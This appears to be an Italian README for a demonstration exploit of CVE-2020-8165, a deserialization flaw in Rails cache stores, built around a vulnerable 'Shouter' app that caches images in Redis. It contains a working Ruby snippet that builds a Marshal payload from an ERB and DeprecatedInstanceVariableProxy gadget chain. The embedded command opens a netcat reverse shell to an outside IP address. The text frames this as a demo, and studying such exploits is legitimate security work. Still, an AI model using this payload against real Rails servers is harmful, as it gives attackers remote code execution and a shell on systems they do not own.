
Dimostrazione dell'exploit RCE di deserializzazione Rails CVE-2020-8165 con app Shouter realistica, generazione di payload in Ruby e avvelenamento della cache Redis.
Yet another demo of CVE-2020-8165, though in a more realistic implementation than most.
CVE-2020-8165
Esiste una vulnerabilità di deserializzazione di dati non attendibili in rails < 5.2.4.3, rails < 6.0.3.1 che può consentire a un attaccante di fare unmarshal di oggetti forniti dall'utente in MemCacheStore e RedisCacheStore, portando potenzialmente a un RCE.
L'app "Shouter" ha una funzionalità di caching nel suo modello Shout in cui le immagini opzionali inviate con uno shout:string vengono memorizzate nella cache di Redis e recuperate da lì invece che dal DB. Poiché il metodo vulnerabile viene usato per interagire con la cache, questa app è suscettibile a CVE-2020-8165 e i risultati dell'RCE vengono inseriti nell'attributo src dei tag nella route della dashboard.
Rails.cache.fetchimgIl seguente frammento genererà il payload che devi inviare usando exploit.py. C'è qualche sfumatura nel passaggio di serializzazione che deve essere compresa per implementare l'exploit completamente in Python. Quindi, Marshal.dump in Ruby è necessario per generare il payload esatto (per ora).
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload